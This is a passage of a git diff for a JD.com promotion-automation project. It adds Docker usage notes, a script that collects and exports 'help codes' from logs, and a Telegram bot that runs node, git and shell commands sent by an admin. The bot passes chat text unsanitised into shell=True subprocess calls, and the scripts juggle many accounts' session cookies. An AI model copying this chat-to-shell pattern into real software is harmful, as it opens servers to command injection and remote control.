查看已生效的crontab_list定时器任务 + + `docker exec -it jd_scripts sh -c "git pull"` 手动更新jd_scripts仓库最新脚本(默认已有每天拉取两次的定时任务,不推荐使用) + + `docker exec -it jd_scripts /bin/sh` 仅进入容器命令 + + `rm -rf logs/*.log` 删除logs文件夹里面所有的日志文件(linux) + + `docker exec -it jd_scripts /bin/sh -c ' ls jd_*.js | grep -v jd_crazy_joy_coin.js |xargs -i node {}'` 执行所有定时任务 + +- 如果是群晖用户,在docker注册表搜`jd_scripts`,双击下载映像。 +不需要`docker-compose.yml`,只需建个logs/目录,调整`jd_scripts.syno.json`里面对应的配置值,然后导入json配置新建容器。 +若要自定义`my_crontab_list.sh`,再建个`my_crontab_list.sh`文件,配置参考`jd_scripts.my_crontab_list.syno.json`。 +![image](../icon/qh1.png) + +![image](../icon/qh2.png) + +![image](../icon/qh3.png) + +### DOCKER专属环境变量 + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :------------: | :----: | ------------------------------------------------------------ | +| `CRZAY_JOY_COIN_ENABLE` | 是否jd_crazy_joy_coin挂机 | 非必须 | `docker-compose.yml`文件下填写`CRZAY_JOY_COIN_ENABLE=Y`表示挂机,`CRZAY_JOY_COIN_ENABLE=N`表不挂机 | +| `DO_NOT_RUN_SCRIPTS` | 不执行的脚本 | 非必须 | 例:`docker-compose.yml`文件里面填写`DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js`, 建议填写完整脚本名,不完整的文件名可能导致其他脚本被禁用 | +| `ENABLE_AUTO_HELP` | 单容器多账号自动互助 | 非必须 | 例:`docker-compose.yml`文件里面填写`ENABLE_AUTO_HELP=true` | diff --git a/docker/auto_help.sh b/docker/auto_help.sh new file mode 100644 index 0000000..c7f4f5b --- /dev/null +++ b/docker/auto_help.sh @@ -0,0 +1,133 @@ +#set -e + +#日志路径 +logDir="/scripts/logs" + +# 处理后的log文件 +logFile=${logDir}/sharecodeCollection.log + +if [ -n "$1" ]; then + parameter=${1} +else + echo "没有参数" +fi + +# 收集助力码 +collectSharecode() { + if [ -f ${2} ]; then + echo "${1}:清理 ${logFile} 中的旧助力码,收集新助力码" + #删除旧助力码 + sed -i '/'"${1}"'/d' ${logFile} + + sed -n '/'${1}'.*/'p ${2} | sed 's/京东账号/京东账号 /g' | sed 's/(/ (/g' | sed 's/】/】 /g' | awk '{print $4,$5,$6,$7}' | sort -gk2 | awk '!a[$2" "$3]++{print}' >>$logFile + else + echo "${1}:${2} 文件不存在,不清理 ${logFile} 中的旧助力码" + fi + +} + +# 导出助力码 +exportSharecode() { + if [ -f ${logFile} ]; then + #账号数 + cookiecount=$(echo ${JD_COOKIE} | grep -o pt_key | grep -c pt_key) + if [ -f /usr/local/bin/spnode ]; then + cookiecount=$(cat "$COOKIES_LIST" | grep -o pt_key | grep -c pt_key) + fi + echo "cookie个数:${cookiecount}" + + # 单个账号助力码 + singleSharecode=$(sed -n '/'${1}'.*/'p ${logFile} | awk '{print $4}' | awk '{T=T"@"$1} END {print T}' | awk '{print substr($1,2)}') + # | awk '{print $2,$4}' | sort -g | uniq + # echo "singleSharecode:${singleSharecode}" + + # 拼接多个账号助力码 + num=1 + while [ ${num} -le ${cookiecount} ]; do + local allSharecode=${allSharecode}"&"${singleSharecode} + num=$(expr $num + 1) + done + + allSharecode=$(echo ${allSharecode} | awk '{print substr($1,2)}') + + # echo "${1}:${allSharecode}" + + #判断合成的助力码长度是否大于账号数,不大于,则可知没有助力码 + if [ ${#allSharecode} -gt ${cookiecount} ]; then + echo "${1}:导出助力码" + export ${3}=${allSharecode} + else + echo "${1}:没有助力码,不导出" + fi + + else + echo "${1}:${logFile} 不存在,不导出助力码" + fi + +} + +#生成助力码 +autoHelp() { + if [ ${parameter} == "collect" ]; then + + # echo "收集助力码" + collectSharecode ${1} ${2} ${3} + + elif [ ${parameter} == "export" ]; then + + # echo "导出助力码" + exportSharecode ${1} ${2} ${3} + fi +} + +#日志需要为这种格式才能自动提取 +#Mar 07 00:15:10 【京东账号1(xxxxxx)的京喜财富岛好友互助码】3B41B250C4A369EE6DCA6834880C0FE0624BAFD83FC03CA26F8DEC7DB95D658C + +#新增自动助力活动格式 +# autoHelp 关键词 日志路径 变量名 + +############# 短期活动 ############# + + +############# 长期活动 ############# + +#东东农场 +autoHelp "东东农场好友互助码" "${logDir}/jd_fruit.log" "FRUITSHARECODES" + +#东东萌宠 +autoHelp "东东萌宠好友互助码" "${logDir}/jd_pet.log" "PETSHARECODES" + +#种豆得豆 +autoHelp "京东种豆得豆好友互助码" "${logDir}/jd_plantBean.log" "PLANT_BEAN_SHARECODES" + +#京喜工厂 +autoHelp "京喜工厂好友互助码" "${logDir}/jd_dreamFactory.log" "DREAM_FACTORY_SHARE_CODES" + +#东东工厂 +autoHelp "东东工厂好友互助码" "${logDir}/jd_jdfactory.log" "DDFACTORY_SHARECODES" + +#crazyJoy +autoHelp "crazyJoy任务好友互助码" "${logDir}/jd_crazy_joy.log" "JDJOY_SHARECODES" + +#京喜财福岛 +autoHelp "京喜财富岛好友互助码" "${logDir}/jd_cfd.log" "JDCFD_SHARECODES" + +#京喜农场 +autoHelp "京喜农场好友互助码" "${logDir}/jd_jxnc.log" "JXNC_SHARECODES" + +#京东赚赚 +autoHelp "京东赚赚好友互助码" "${logDir}/jd_jdzz.log" "JDZZ_SHARECODES" + +######### 日志打印格式需调整 ######### + +#口袋书店 +autoHelp "口袋书店好友互助码" "${logDir}/jd_bookshop.log" "BOOKSHOP_SHARECODES" + +#领现金 +autoHelp "签到领现金好友互助码" "${logDir}/jd_cash.log" "JD_CASH_SHARECODES" + +#闪购盲盒 +autoHelp "闪购盲盒好友互助码" "${logDir}/jd_sgmh.log" "JDSGMH_SHARECODES" + +#东东健康社区 +autoHelp "东东健康社区好友互助码" "${logDir}/jd_health.log" "JDHEALTH_SHARECODES" diff --git a/docker/bot/jd.png b/docker/bot/jd.png new file mode 100644 index 0000000..c948dad Binary files /dev/null and b/docker/bot/jd.png differ diff --git a/docker/bot/jd_bot b/docker/bot/jd_bot new file mode 100644 index 0000000..9b818f1 --- /dev/null +++ b/docker/bot/jd_bot @@ -0,0 +1,1114 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-23 + +import math +import os +import subprocess +from subprocess import TimeoutExpired +from MyQR import myqr +import requests +import time +import logging +import re +from urllib.parse import quote, unquote + +import telegram.utils.helpers as helpers +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, ParseMode +from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler + +# 启用日志 +logging.basicConfig(format='%(asctime)s-%(name)s-%(levelname)s=> [%(funcName)s] %(message)s ', level=logging.INFO) +logger = logging.getLogger(__name__) + +_base_dir = '/scripts/' +_logs_dir = '%slogs/' % _base_dir +_docker_dir = '%sdocker/' % _base_dir +_bot_dir = '%sbot/' % _docker_dir +_share_code_conf = '%scode_gen_conf.list' % _logs_dir + +if 'GEN_CODE_CONF' in os.environ: + share_code_conf = os.getenv("GEN_CODE_CONF") + if share_code_conf.startswith("/"): + _share_code_conf = share_code_conf + + +def start(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + context.bot.send_message(chat_id=update.effective_chat.id, + text="限制自己使用的JD Scripts拓展机器人\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def node(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/node') + if len(commands) > 0: + cmd = 'node %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=3600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'node', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('node') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def spnode(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/spnode') + if len(commands) > 0: + cmd = 'spnode %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + file_name = re.split(r"\W+", cmd) + if 'js' in file_name: + file_name.remove('js') + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'spnode', file_name[-1]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('spnode') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def git(update, context): + """关于/scripts仓库的git相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/git') + if len(commands) > 0: + cmd = 'git %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'git', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + else: + reply_markup = get_reply_markup_btn('git') + + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的git指令 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def env(update, context): + """env 环境变量相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/env') + if len(commands) == 2 and (commands[0]) == 'export': + + try: + envs = commands[1].split('=') + os.putenv(envs[0], envs[1]) + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ 环境变量设置成功 ↓↓↓ \n\n%s ' % ('='.join(envs)))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + ' '.join(commands)))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + elif len(commands) == 0: + out_bytes = subprocess.check_output( + 'env', shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % 'env')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s.log' % (_logs_dir, 'env') + + with open(log_name, 'a+') as wf: + wf.write(out_text + '\n\n') + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ env 执行结果 ↓↓↓ \n\n%s ' % out_text)), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' →→→ env 指令不正确,请参考说明输入 ←←← ')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def crontab(update, context): + """关于crontab 定时任务相关操作 + """ + reply_markup = get_reply_markup_btn('crontab_l') + + if is_admin(update.message.from_user.id): + try: + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 下面为定时任务列表,请选择需要的操作 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + except: + raise + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def logs(update, context): + """关于_logs_dir目录日志文件的相关操作 + """ + reply_markup = get_reply_markup_btn('logs') + + if is_admin(update.message.from_user.id): + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想想要下载的日志文件或者清除所有日志 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def callback_run(update, context): + """执行按钮响应回调方法处理按钮点击事件 + """ + query = update.callback_query + select_btn_type = query.data.split()[0] + chat = query.message.chat + logger.info("callback query.message.chat ==> %s " % chat) + logger.info("callback query.data ==> %s " % query.data) + if select_btn_type == 'node' or select_btn_type == 'spnode' or select_btn_type == 'git': + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output( + query.data, shell=True, timeout=600, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(query.data.split('/')[-1])[0]) + logger.info('log_name==>' + log_name) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (query.data, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % query.data) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type.startswith('cl'): + if select_btn_type == 'cl': + logger.info(f'crontab_l ==> {query.data.split()[1:]}') + reply_markup = InlineKeyboardMarkup([ + [InlineKeyboardButton( + ' '.join(query.data.split()[1:]), callback_data='pass')], + [InlineKeyboardButton('⚡️执行', callback_data='cle %s' % ' '.join(query.data.split()[1:])), + InlineKeyboardButton('❌删除', callback_data='cld %s' % ' '.join(query.data.split()[1:]))] + ]) + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 请选择对该定时任务的操作 ↓↓↓ '), + chat_id=query.message.chat_id, + reply_markup=reply_markup, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + elif select_btn_type == 'cle': + cmd = ' '.join(query.data.split()[6:]) + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output(cmd, shell=True, timeout=600, + stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(cmd.split('/')[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % ' '.join(cmd[6:])) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type == 'cld': + query.answer(text='删除任务功能暂未实现', show_alert=True) + + elif select_btn_type == 'logs': + log_file = query.data.split()[-1] + if log_file == 'clear': + cmd = 'rm -rf %s*.log' % _logs_dir + try: + subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + context.bot.edit_message_text(text='```{}```'.format(' →→→ 日志文件已清除 ←←← '), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown( + ' →→→ 清除日志执行出错 ←←← ')), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 下面为下载的%s文件 ↓↓↓ ' % select_btn_type), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + query.message.reply_document(reply_to_message_id=query.message.message_id, quote=True, + document=open(log_file, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format(' →→→ 操作已取消 ←←← '), chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + +def get_reply_markup_btn(cmd_type): + """因为编辑后也可能会需要到重新读取按钮,所以抽出来作为一个方法返回按钮list + + Returns + ------- + 返回一个对应命令类型按钮列表,方便读取 + """ + if cmd_type == 'logs': + keyboard_line = [] + logs_list = get_dir_file_list(_logs_dir, 'log') + if (len(logs_list)) > 0: + file_list = list(set(get_dir_file_list(_logs_dir, 'log'))) + file_list.sort() + for i in range(math.ceil(len(file_list) / 2)): + ret = file_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data='logs %s' % ii)) + file_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append([InlineKeyboardButton('清除日志', callback_data='logs clear'), + InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未找到相关日志文件', callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'crontab_l': + button_list = list(set(get_crontab_list(cmd_type))) + keyboard_line = [] + if len(button_list) > 0: + for i in button_list: + keyboard_column = [InlineKeyboardButton( + i, callback_data='cl %s' % i)] + + button_list.remove(i) + keyboard_line.append(keyboard_column) + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未从%s获取到任务列表' % crontab_list_file, callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'node' or cmd_type == 'spnode': + button_list = list(set(get_crontab_list(cmd_type))) + button_list.sort() + keyboard_line = [] + for i in range(math.ceil(len(button_list) / 2)): + ret = button_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data=ii)) + button_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'git': + # button_list = list(set(get_crontab_list(cmd_type))) + # button_list.sort() + keyboard_line = [[InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + # for i in range(math.ceil(len(button_list) / 2)): + # ret = button_list[0:2] + # keyboard_column = [] + # for ii in ret: + # keyboard_column.append(InlineKeyboardButton( + # ii.split('/')[-1], callback_data=ii)) + # button_list.remove(ii) + # keyboard_line.append(keyboard_column) + # if len(keyboard_line) < 1: + # keyboard_line.append( + # [InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + # InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + else: + reply_markup = InlineKeyboardMarkup( + [[InlineKeyboardButton('没找到对的命令操作按钮', callback_data='cancel')]]) + + return reply_markup + + +def get_crontab_list(cmd_type): + """获取任务列表里面的node相关的定时任务 + + Parameters + ---------- + cmd_type: 是任务的命令类型 + # item_idx: 确定取的需要取之是定任务里面第几个空格后的值作为后面执行指令参数 + + Returns + ------- + 返回一个指定命令类型定时任务列表 + """ + button_list = [] + try: + with open(_docker_dir + crontab_list_file) as lines: + array = lines.readlines() + for i in array: + i = i.replace('|ts', '').strip('\n') + if i.startswith('#') or len(i) < 5: + pass + else: + items = i.split('>>') + item_sub = items[0].split()[5:] + # logger.info(item_sub[0]) + if cmd_type.find(item_sub[0]) > -1: + if cmd_type == 'spnode': + # logger.info(str(' '.join(item_sub)).replace('node','spnode')) + button_list.append(str(' '.join(item_sub)).replace('node', 'spnode')) + else: + button_list.append(' '.join(item_sub)) + elif cmd_type == 'crontab_l': + button_list.append(items[0]) + except: + logger.warning(f'读取定时任务配置文件 {crontab_list_file} 出错') + finally: + return button_list + + +def get_dir_file_list(dir_path, file_type): + """获取传入的路径下的文件列表 + + Parameters + ---------- + dir_path: 完整的目录路径,不需要最后一个 + file_type: 或者文件的后缀名字 + + Returns + ------- + 返回一个完整绝对路径的文件列表,方便读取 + """ + cmd = 'ls %s*.%s' % (dir_path, file_type) + file_list = [] + try: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=5, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + file_list = out_text.split() + except: + logger.warning(f'{dir_path}目录下,不存在{file_type}对应的文件') + finally: + return file_list + + +def is_admin(from_user_id): + if str(admin_id) == str(from_user_id): + return True + else: + return False + + +class CodeConf(object): + def __init__(self, bot_id, submit_code, log_name, activity_code, find_split_char): + self.bot_id = bot_id + self.submit_code = submit_code + self.log_name = log_name + self.activity_code = activity_code + self.find_split_char = find_split_char + + def get_submit_msg(self): + code_list = [] + ac = self.activity_code if self.activity_code != "@N" else "" + try: + with open("%s%s" % (_logs_dir, self.log_name), 'r') as lines: + array = lines.readlines() + for i in array: + # print(self.find_split_char) + if i.find(self.find_split_char) > -1: + code_list.append(i.split(self.find_split_char)[ + 1].replace('\n', '')) + if self.activity_code == "@N": + return '%s %s' % (self.submit_code, + "&".join(list(set(code_list)))) + else: + return '%s %s %s' % (self.submit_code, ac, + "&".join(list(set(code_list)))) + except: + return "%s %s活动获取系统日志文件异常,请检查日志文件是否存在" % (self.submit_code, ac) + + +def gen_long_code(update, context): + """ + 长期活动互助码提交消息生成 + """ + long_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("long"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + long_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in long_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_temp_code(update, context): + """ + 短期临时活动互助码提交消息生成 + """ + temp_code_conf 